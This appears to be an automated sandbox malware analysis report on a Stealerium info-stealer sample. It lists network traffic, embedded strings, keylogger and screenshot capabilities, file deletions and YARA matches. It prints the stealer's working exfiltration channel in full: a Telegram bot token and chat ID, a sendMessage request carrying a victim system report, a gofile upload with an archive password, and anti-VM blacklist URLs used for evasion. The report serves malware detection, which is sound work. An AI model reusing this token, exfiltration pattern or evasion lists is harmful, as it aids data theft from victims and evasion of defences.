Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/getMe HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servers HTTP/1.1Host: api.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage?chat_id=-4549067482&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.5.1%20-%20Report%3A%2A%0ADate%3A%202024-11-29%206%3A18%3A31%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20124406%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20NVR6G%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%8D%93%20%2APorn%20websites%2A%20%28No%20data%29%0A%0A%F0%9F%8C%90%20%2ABrowsers%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks%3A%205%0A%0A%F0%9F%97%83%20%2ASoftware%3A%2A%0A%0A%F0%9F%A7%AD%20%2ADevice%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%F0%9F%A6%A0%20%2AInstallation%3A%2A%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%F0%9F%93%84%20%2AFile%20Grabber%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images%3A%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents%3A%2045%0A%0A%F0%9F%94%97%20%5BArchive%20download%20link%5D%28https%3A%2F%2Fgofile.io%2Fd%2FqxyGTh%29%0A%F0%9F%94%90%20Archive%20password%20is%3A%20%227c6288d908c36e92faae14c9d19be639%22%60%60%60&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: 246.229.1.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: store5.gofile.io
Source: global traffic	DNS traffic detected: DNS query: szurubooru.zulipchat.com

Source: unknown

HTTP traffic detected: POST /uploadfile HTTP/1.1Content-Type: multipart/form-data; boundary="686ae045-3350-483a-be65-d9e368970df2"Host: store5.gofile.ioContent-Length: 153577Expect: 100-continueConnection: Keep-Alive

Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.gofile.io
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E15B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E15B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E15B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E15B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E15B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E15B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://store5.gofile.io
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://szurubooru.zulipchat.com
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/binaryformatter
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/serializationformat-binary-obsolete
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/servers
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45761000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A4575A000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/getMe
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage?chat_id=-4549
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime8
Source: yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/icsharpcode/SharpZipLib
Source: yv7QsAR49V.exe	String found in binary or memory: https://github.com/kgnfth
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp, Stealerium-Latest.log.0.dr	String found in binary or memory: https://gofile.io/d/qxyGTh
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A7A000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/qxyGTh)
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/MachineGuid.txt
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/gpu_list.txt
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/ip_list.txt
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/processes_list.txt
Source: yv7QsAR49V.exe	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/services_list.txt
Source: yv7QsAR49V.exe, 00000000.00000002.2624199057.0000024A5E5AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/icsharpcode/SharpZipLib/33f64eb0f28cdd2b084cb822fcc224c7c5aba553/
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store5.gofile.io
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store5.gofile.io/(
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store5.gofile.io/uploadfile
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.P9ZDdyXKOWl2
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://szurubooru.zulipchat.com
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A89000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://szurubooru.zulipchat.com/api/v1/messages
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.5iSPD7jwkDnW
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.3UfcDFx2ZSAZ
Source: tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: tmpC19F.tmp.dat.0.dr, tmpD0DC.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E16D000.00000004.00000020.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.12:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.112.123.126:443 -> 192.168.2.12:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.244:443 -> 192.168.2.12:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 44.208.10.127:443 -> 192.168.2.12:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: yv7QsAR49V.exe, DesktopScreenshot.cs

.Net Code: Make

Contains functionality to log keystrokes (.Net Source)

Source: yv7QsAR49V.exe, Keylogger.cs	.Net Code: SetHook
Source: yv7QsAR49V.exe, Keylogger.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File deleted: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY\NEBFQQYWPS.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File deleted: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS\NEBFQQYWPS.docx	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File deleted: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QNCYCDFIJJ.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File deleted: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QNCYCDFIJJ.pdf	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File deleted: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL.pdf	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: yv7QsAR49V.exe, type: SAMPLE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.0.yv7QsAR49V.exe.24a436a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
